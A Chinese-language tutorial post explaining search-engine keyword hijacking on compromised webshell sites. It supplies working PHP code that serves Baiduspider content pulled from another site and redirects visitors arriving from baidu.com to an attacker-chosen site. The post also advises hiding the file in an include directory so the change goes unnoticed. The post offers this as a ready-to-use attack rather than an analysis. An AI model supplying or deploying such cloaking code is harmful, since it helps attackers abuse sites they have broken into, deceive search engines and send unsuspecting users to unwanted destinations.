摘要:其实原理很简单: 搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出如下判断: if(来访者是蜘蛛){ 输出指定内容 } if(用户是从搜索引擎点击进入网站的){ 跳转我们希...
其实原理很简单:
搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出如下判断:
if(来访者是蜘蛛){
输出指定内容
}
if(用户是从搜索引擎点击进入网站的){
跳转我们希望跳转的站点B
}
所以我们可以达到如下效果:
针对蜘蛛来说,如果来访者是指定的蜘蛛,那么输出希望让蜘蛛看到的内容,如果来访者不是蜘蛛,则输出希望给正常用户看到的内容。正常用户在浏览器地址栏输入网址访问网站A,看到正常的首页,如果用户点击百度的搜索结果中的链接进入网站A,则跳转我们要做SEO的站点B。
表达能力有限,说了这么多也不知道大家明白没有。。。
那好吧,下面我来上代码,大家可能一看就懂了。代码很短,也很容易理解。
<?php ################################################ # 可以把本文件放在类似inc、include这样的目录中 # # 首页require_once('本文件路径');就可以了 # # 这样会比较隐蔽 # ################################################ if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),'baiduspider') !== false ) { //判断搜索引擎,这里是百度,可以自行添加蜘蛛 /* Header("HTTP/1.1 301 Moved Permanently"); Header("Location: http://www.yunsec.net/"); //这是301跳转,301主要针对搜索引擎,如果你想告诉搜索引擎这个页面已经更换URL了的话... */ $file = file_get_contents('http://www.yunsec.net/forum.php'); echo $file;//输出指定文件内容 exit; } //判断来路 if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")) {//如果用户来自baidu.com //Header("HTTP/1.1 301 Moved Permanently");//301跳转,也可以不用301,直接跳转,301状态码主要针对搜索引擎使用 Header("Location: http://www.yunsec.net/");//跳转 exit; } ?>
时间: 2024-12-14 12:28:16